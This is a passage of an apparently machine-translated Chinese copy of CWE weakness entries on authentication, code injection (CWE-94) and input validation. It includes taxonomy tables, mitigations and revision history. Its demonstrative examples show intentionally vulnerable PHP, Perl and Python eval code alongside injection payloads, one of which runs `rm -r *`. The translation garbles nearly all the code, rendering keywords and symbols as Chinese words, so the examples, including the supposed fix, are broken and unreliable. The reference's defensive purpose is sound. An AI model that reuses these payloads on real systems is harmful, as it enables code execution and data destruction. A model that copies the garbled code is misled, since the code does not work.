  • 手工源代码审查(不检查)

有效性:飙升部分

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:飙升部分

自动静态分析

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 配置检查

有效性:飙升部分

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。
  • 正式的方法/ Correct-By-Construction

有效性:高

+功能区域
  • 身份验证
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 718年 OWASP十大2007类别A7 -破碎的认证和会话管理
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 724年 OWASP十大2004类别A3 -破碎的认证和会话管理
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 812年 OWASP十大2010类别A3 -破碎的认证和会话管理
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 930年 OWASP十大2013类别A2 -破碎的认证和会话管理
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 947年 SFP二级集群:认证绕过
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1003年 弱点简化映射的漏洞发布
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1028年 OWASP十大2017类别A2 -破碎的身份验证
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1353年 OWASP十大2021类别A07:2021 -识别和身份验证失败
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

的关系

这可以从SQL注入漏洞和其他合成问题。

维护

Taxonomy_Mappings ISA / IEC 62443 CWE 4.10中加入了,但他们仍在审查和将来可能会改变CWE版本。这些映射草案是由“CWE映射到62443”小组的成员CWE -CAPEC ICS / OT特殊利益集团(团体),CWE 4.10的和他们的工作是不完整的。映射是包括促进讨论和审查由更广泛的ICS / OT的社区,他们可能会改变在未来CWE版本。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 身份验证错误
OWASP十大2007 A7 CWE更具体 破碎的认证和会话管理
OWASP十大2004 A3 CWE更具体 破碎的认证和会话管理
WASC 1 身份验证不足
ISA / IEC 62443 3 - 3部分 1.1要求老
ISA / IEC 62443 3 - 3部分 1.2要求老
ISA / IEC 62443 4 - 2部分 点播CR 1.1
ISA / IEC 62443 4 - 2部分 点播CR 1.2
+引用
(ref - 236)金Zetter。“弱密码带来的“幸福”Twitter黑客”。2009-01-09。<http://www.wired.com/threatlevel/2009/01/professed-twitt/>。
OWASP (ref - 237)。“十大2007 -破碎的认证和会话管理”。2007年。<http://www.owasp.org/index.php/Top_10_2007-A7>。
OWASP (ref - 238)。“认证指南”。<http://www.owasp.org/index.php/Guide_to_Authentication>。
微软(ref - 239)。“身份验证”。<http://msdn.microsoft.com/en-us/library/aa374735 (VS.85) . aspx>。
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第四章,109页“身份验证”。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
[ref - 1283] Forescout Vedere实验室。“OT:冰崩:遗留的“不安全的通过设计“认证和风险管理及其影响”。2022-06-20。<https://www.forescout.com/resources/ot-icefall-report/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新Alternate_Terms Common_Consequences、关系、Relationship_Notes Taxonomy_Mappings
2008-10-14 CWE内容团队 主教法冠
更新的关系
2009-01-12 CWE内容团队 主教法冠
更新后的名字
2009-05-27 CWE内容团队 主教法冠
更新描述,Related_Attack_Patterns
2009-07-27 CWE内容团队 主教法冠
更新的关系
2009-10-29 CWE内容团队 主教法冠
更新Common_Consequences Observed_Examples
2009-12-28 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Demonstrative_Examples、Detection_Factors Likelihood_of_Exploit,引用
2010-02-16 CWE内容团队 主教法冠
更新Alternate_Terms、Detection_Factors Potential_Mitigations、引用关系,Taxonomy_Mappings
2010-06-21 CWE内容团队 主教法冠
更新的关系
2011-03-29 CWE内容团队 主教法冠
更新的关系
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2012-05-11 CWE内容团队 主教法冠
更新的关系
2013-07-17 CWE内容团队 主教法冠
更新的关系
2014-02-18 CWE内容团队 主教法冠
更新的关系
2014-06-23 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、人际关系
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新的关系
2017-05-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2017-11-08 CWE内容团队 主教法冠
更新Demonstrative_Examples、Likelihood_of_Exploit Modes_of_Introduction、引用关系
2018-03-27 CWE内容团队 主教法冠
更新引用关系
2019-01-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2019-06-20 CWE内容团队 主教法冠
更新Demonstrative_Examples Related_Attack_Patterns,关系
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新的关系
2020-08-20 CWE内容团队 主教法冠
更新的关系
2020-12-10 CWE内容团队 主教法冠
更新的关系
2021-03-15 CWE内容团队 主教法冠
更新Alternate_Terms Demonstrative_Examples
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新Applicable_Platforms、Demonstrative_Examples Observed_Examples、引用关系
2023-01-31 CWE内容团队 主教法冠
更新描述、Maintenance_Notes Observed_Examples Taxonomy_Mappings
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 身份验证问题
2009-01-12 身份验证不足

cwe - 94:不当控制生成的代码(代码注入)

弱点ID: 94
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品结构全部或部分的代码段使用externally-influenced输入从一个上游组件,但是它不中和或中和特殊的元素,可以修改错误的语法或行为的代码段。
+扩展描述

当一个产品允许用户输入包含代码的语法,有可能对攻击者工艺代码以这样一种方式,它将改变产品的预期控制流。这样的改变可能导致执行任意代码。

注入问题包含了各种各样的问题,减轻以非常不同的方式。出于这个原因,讨论这些弱点的最有效的方法是注意的不同特性进行分类注入的弱点。需要注意的最重要的问题是,注入所有的问题都有一个共同点,即。,他们允许注入控制平面数据到用户控制飞机。这意味着过程的执行可能被改变通过合法的数据通道发送代码,使用任何其他机制。虽然缓冲区溢出,和许多其他缺陷,包括获得执行进一步的使用问题,注入的问题只需要解析数据。最经典的实例化这个类别的软弱是SQL注入和格式字符串漏洞。

+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 913年 不当的控制代码动态地管理资源
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 95年 不当中和指令的动态评估代码(Eval注入)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 96年 不当中和静态保存指令的代码(静态代码注入)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1336年 不当使用中和特殊元素在一个模板引擎
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 98年 不当控制包括/需要声明在PHP程序的文件名(PHP远程文件包含)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“软件开发”(cwe - 699)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 137年 数据中和问题
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:解释(有时流行)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
访问控制

技术的影响:旁路保护机制

在某些情况下,注射代码控制认证;这可能会导致远程漏洞。
访问控制

技术的影响:获得特权或假设的身份

注入的代码可以访问资源,攻击者直接禁止访问。
完整性
保密
可用性

技术的影响:执行未经授权的代码或命令

代码注入攻击可能导致的损失数据完整性在几乎所有情况下的控制平面数据注入总是附带数据召回或写作。此外,代码注入往往导致执行任意代码。
不可抵赖性

技术的影响:隐藏活动

经常unlogged注入控制代码执行的操作。
+利用的可能性
媒介
+示范例子

示例1

这个例子试图写用户消息到消息文件,允许用户查看它们。

(坏的代码)
例如语言:PHP
$ MessageFile =“messages.out”;
如果($ _GET[“行动”= =“NewMessage”) {
$ name = $ _GET [“name”);
美元消息= $ _GET(“信息”);
$处理= fopen (MessageFile美元," + ");
写入文件($处理,”< / b > < b > $ name说美元消息<人力资源> \ n”);
文件关闭($处理);
回声”消息得救了! < p > \ n”;
}
else if ($ _GET[“行动”= =“ViewMessages”) {
包括(MessageFile美元);
}

而程序员MessageFile只包括数据计划,攻击者可以提供信息,如:

(攻击代码)
name = h4x0r
消息= % 3 c ? php % 20系统(% 22 / bin / ls % 20-l % 22); ? % 3 e

将解码后:

(攻击代码)
< ?php系统(“/ bin / ls - l”); ? >

程序员认为他们只是包括常规数据文件的内容,但PHP解析和执行代码。现在,这段代码执行任何时候人消息的看法。

注意,XSS (cwe - 79在这种情况下)也是可能的。

示例2

edit-config。pl:这CGI脚本用于修改配置文件中的设置。

(坏的代码)
例如语言:Perl
使用CGI qw(:标准);

子config_file_add_key {
我的(关键帧,美元,美元arg) = @ _;

#代码添加一个字段/文件的关键就在这里
}

子config_file_set_key {
我的(关键帧,美元,美元arg) = @ _;

#代码设置特定文件的关键就在这里
}

子config_file_delete_key {
我的(关键帧,美元,美元arg) = @ _;

#代码从一个特定的文件删除键就在这里
}

子handleConfigAction {
我的(帧,行动美元)= @ _;
我美元关键=参数(关键);
我$ val =参数(“val”);

#这是高效的代码,特别是如果你必须调用


#任何几十种不同的功能之一!

我的代码=美元”config_file_ action_key美元(美元\帧美元\键,美元\ val);”;
美元eval(代码);
}

$ configfile =“/ home / cwe / config.txt”;
打印头;
如果(定义(参数('行动'))){
handleConfigAction (configfile美元,参数('行动'));
}
其他{
打印”指定的任何行动! \ n”;
}

脚本打算采取行动的参数和调用多种功能的基于该参数的值——config_file_add_key (), config_file_set_key(),或config_file_delete_key ()。它可以单独设置一个条件来调用每个函数,但eval()是一个强大的方法使用更少的代码做同样的事情,尤其是当涉及大量的函数或变量。不幸的是,在这种情况下,攻击者可以提供其他值在操作参数,如:

(攻击代码)
中(“,”、“);系统(“/ bin / ls”);

这将产生以下字符串handleConfigAction ():

(结果)
config_file_add_key (”、“,”);系统(“/ bin / ls”);

可以添加任意Perl代码后,攻击者已经“关闭”建设的原始的函数调用,为了防止解析错误造成恶意eval()失败之前攻击者的有效载荷被激活。这个特定的操作系统()调用会失败后,因为“_key(\ $帧\键,美元\ $ val)”部分的字符串会导致一个错误,但这是无关紧要的攻击,因为负载已经激活。

示例3

这个简单的脚本要求用户提供一个数字列表作为输入,并将它们添加在一起。

(坏的代码)
例如语言:Python
def main ():
和= 0
数量= eval(输入("输入一个空格分隔的数字列表:"))
num的数字:
=和+ num求和
打印(f”之和{数字}={和}")
main ()

eval()函数可以将用户提供的列表,并将它转换成一个Python列表对象,因此允许程序员使用列表理解方法来处理数据。但是,如果代码提供给eval()函数,它将执行代码。例如,恶意用户可以提供以下字符串:

(攻击代码)
__import__(“子流程”)。getoutput (rm - r *)

这将删除当前目录中的所有文件。由于这个原因,不建议使用eval()不可信的输入。

来完成这个不使用eval()是应用整数转换输入在一个try /除了块。如果用户提供的输入不是数字,这将提高ValueError。通过避免eval(),没有机会执行输入字符串的代码。

(好的代码)
例如语言:Python
def main ():
和= 0
数量=输入(输入一个空格分隔的数字列表:)。分割(" ")
试一试:
num的数字:
=和+ num求和
打印(f”之和{数字}={和}")
除了ValueError:
print(“错误:无效输入”)
main ()

另一种选择是使用ast.literal_eval()函数从Python的ast模块。这个函数只考虑Python文字作为有效数据类型和不会执行任何代码中包含用户输入。

+观察到的例子
参考 描述
Python编译器使用eval()来执行恶意字符串作为Python代码。
链:正则表达式在EXIF处理器代码不正确确定字符串结束(cwe - 625),使eval注入(cwe - 95),利用每中钢协KEV在野外。
“代码注入”VPN产品,利用每中钢协KEV在野外。
Eval注入在PHP程序。
Eval注入在Perl程序。
Eval注入在Perl程序使用一个ID应该只包含连字符和数字。
直接代码注入Perl eval函数。
Eval注入在Perl程序。
直接代码注入Perl eval函数。
直接代码注入Perl eval函数。
MFV。使用嵌套代码注入到PHP eval语句结构不能嵌套。
MFV。使用嵌套代码注入到PHP eval语句结构不能嵌套。
Python代码注入eval语句从一个字段格式的文件。
Eval注入在Python程序。
链:合成eval注入。无效的值可以防止初始化的变量,它可以被攻击者修改后来注入PHP eval语句。
Perl代码直接从参数注入CGI库文件到另一个CGI程序。
直接支持模板文件的PHP代码注入。
直接注入代码的PHP脚本可以被攻击者访问。
PHP代码直接从用户代理HTTP头插入到日志文件作为PHP脚本实现。
+潜在的缓解措施

阶段:体系结构和设计

重构程序,这样你不需要动态生成的代码。

阶段:体系结构和设计

运行您的代码在一个“监狱”或类似沙箱环境,执行严格的流程和操作系统之间的边界。这可能有效地限制哪些代码可以执行你的产品。

例子包括Unix chroot监狱和AppArmor对。在一般情况下,托管代码可能会提供一些保护。

这可能不是一个可行的解决方案,它只限制对操作系统的影响;应用程序的其余部分可能仍然接受妥协。

应该注意避免cwe - 243和其他相关弱点监狱。

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

减少代码注入的可能性,使用严格的allowlists限制允许哪些构造。如果你是动态构建的代码调用一个函数,然后验证输入字母数字可能是不够的。攻击者可能仍然能够引用一个你不打算让危险的功能,如系统(),exec(),或退出()。

测试阶段:

使用自动静态分析工具针对这种类型的弱点。许多现代技术利用数据流分析,减少假阳性的数量。这不是一个完美的解决方案,因为100%的准确率和覆盖率不可行。

测试阶段:

使用动态交互的工具和技术与产品使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。产品的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。

阶段:操作

策略:编译和构建硬化

运行代码的一个执行自动的环境污染传播,防止使用受污染的任何命令执行变量,比如Perl的“t”开关。这将迫使程序执行验证步骤,消除污染,尽管你必须小心正确验证您的输入,这样你就不会意外危险的输入标记为未染污的(见cwe - 183cwe - 184)。

阶段:操作

策略:环境硬化

运行代码的一个执行自动的环境污染传播,防止使用受污染的任何命令执行变量,比如Perl的“t”开关。这将迫使程序执行验证步骤,消除污染,尽管你必须小心正确验证您的输入,这样你就不会意外危险的输入标记为未染污的(见cwe - 183cwe - 184)。
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 752年 2009年前25 -资源管理风险
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 991年 SFP二级集群:污染环境的输入
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1347年 OWASP十大2021类别A03:2021 -注射
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 代码 评价和代码注入
+引用
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪3:直接相关的漏洞(XSS)。”Page 63. McGraw-Hill. 2010.
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-09-08 CWE内容团队 主教法冠
更新Applicable_Platforms、关系、Research_Gaps Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新Common_Consequences Demonstrative_Examples,描述、Likelihood_of_Exploit名字,Potential_Mitigations、人际关系
2009-03-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新Demonstrative_Examples、名称
2010-02-16 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-06-21 CWE内容团队 主教法冠
更新描述,Potential_Mitigations
2011-03-29 CWE内容团队 主教法冠
更新后的名字
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2012-05-11 CWE内容团队 主教法冠
更新Common_Consequences、Demonstrative_Examples Observed_Examples、引用关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-02-21 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新的关系
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Demonstrative_Examples Modes_of_Introduction,关系
2019-06-20 CWE内容团队 主教法冠
更新Related_Attack_Patterns、类型
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2020-06-25 CWE内容团队 主教法冠
更新Potential_Mitigations
2020-08-20 CWE内容团队 主教法冠
更新的关系
2021-03-15 CWE内容团队 主教法冠
更新Demonstrative_Examples
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-04-28 CWE内容团队 主教法冠
更新Research_Gaps
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新Observed_Examples
2023-01-31 CWE内容团队 主教法冠
Demonstrative_Examples更新,描述、Potential_Mitigations关系
+以前的条目名称
改变日期 以前的条目名称
2009-01-12 代码注入
2009-05-27 未能控制生成的代码(又名“代码注入”)
2011-03-29 未能控制生成的代码(代码注入)

CWE-20:不适当的输入验证

弱点ID: 20
抽象:
结构:简单的
视图定制的信息:
+描述
产品接收输入或数据,但它不验证或不正确验证输入所需的属性的过程安全、正确的数据。
+扩展描述

输入验证检查潜在的危险是一个经常使用的技术投入,以确保输入是安全的在代码中进行处理,或与其他组件进行通信。当软件不正确验证输入,攻击者可以手工输入所期望的形式不是应用程序的其余部分。这将导致部分系统收到意想不到的输入,这可能会导致改变控制流,任意一个资源的控制权,或任意代码执行。

输入验证并不是唯一的技术处理输入,然而。其他技术尝试变换输入变成安全的潜在危险,如过滤(cwe - 790)——试图消除危险的输入——或编码/转义(cwe - 116),试图确保输入不是误解当它是包含在输出到另一个组件。其他技术存在(见cwe - 138更多的例子。)

输入验证可应用于:

  • 原始数据(字符串、数字、参数文件内容等。
  • 元数据,原始数据的信息,如标题或大小

可以是简单的或结构化的数据。结构化数据可以组成很多嵌套层,的组合组成的元数据和原始数据,与其他简单的或结构化数据。

许多原始数据或元数据的属性可能需要验证后进入代码,如:

  • 指定数量如大小、长度、频率、价格,速度,操作的数量,时间,等等。
  • 暗示或派生的数量,如文件的实际大小,而不是指定的大小
  • 索引、抵消或职位到更复杂的数据结构
  • 到哈希表中符号键或其他元素,关联数组等。
  • 格式良好性,即语法正确,符合预期的语法
  • 词法记号正确性,遵守规则作为一个令牌
  • 指定或派生类型,输入的实际类型(或输入似乎是什么)
  • 之间的一致性——单个数据元素之间,原始数据和元数据,引用之间等。
  • 符合特定领域的规则,例如业务逻辑
  • 等价——确保等效输入相同的对待
  • 真实性、所有权或其他证明输入,例如加密签名来证明数据的来源

暗示或派生属性数据必须经常计算或推断的代码本身。错误在派生属性可能被视为一个因素不适当的输入验证。

注意,“输入验证”对不同的人有着非常不同的含义,或在不同的分类方案。时必须谨慎引用这个CWE条目或映射。例如,一些弱点可能涉及无意中给攻击者控制在一个输入时不应该能够提供一个输入,但有时这被称为输入验证。

最后,重要的是要强调输入验证和输出逃离之间的差别往往是模糊的,和开发人员必须小心理解的差异,包括如何输入验证并不总是足以防止漏洞,特别是严格的数据类型必须支持较少,如自由格式的文本。考虑一个SQL注入场景,在该场景中,一个人的姓是插入一个查询。“O ' reilly”这个名字可能会通过验证步骤,因为它是一种常见的姓氏在英语语言。然而,这有效的名称不能直接插入到数据库,因为它包含了““撇号的角色,这将需要转义或转换。在这种情况下,删除撇号可能会减少SQL注入的风险,但是它会产生不正确的行为,因为错误的名字将被记录下来。

+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 支柱支柱——一个弱点是最抽象类型的弱点和代表一个主题类/基地/变体相关弱点。支柱是不同于一个类别作为支柱技术上仍然是一种弱点,描述了一个错误,而一个类别代表一个共同特征用于组相关的东西。 707年 不适当的中和
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 179年 不正确的行为秩序:早期验证
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 622年 不当的验证函数钩参数
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1173年 验证框架的使用不当
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1284年 不当验证指定数量的输入
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1285年 验证指定的索引位置不当,或抵消输入
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1286年 不当语法正确性的验证输入
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1287年 不当的验证指定的类型的输入
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1288年 不当内的一致性验证输入
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1289年 不当的不安全的等价验证输入
PeerOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 345年 验证数据的真实性不足
CanPrecede 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 22 不当限制限制目录的路径名(“路径遍历”)
CanPrecede 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 41 不当的解决路径等效
CanPrecede 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
CanPrecede 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 119年 不当的操作限制的范围内一个内存缓冲区
CanPrecede 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 770年 资源配置没有限制或节流
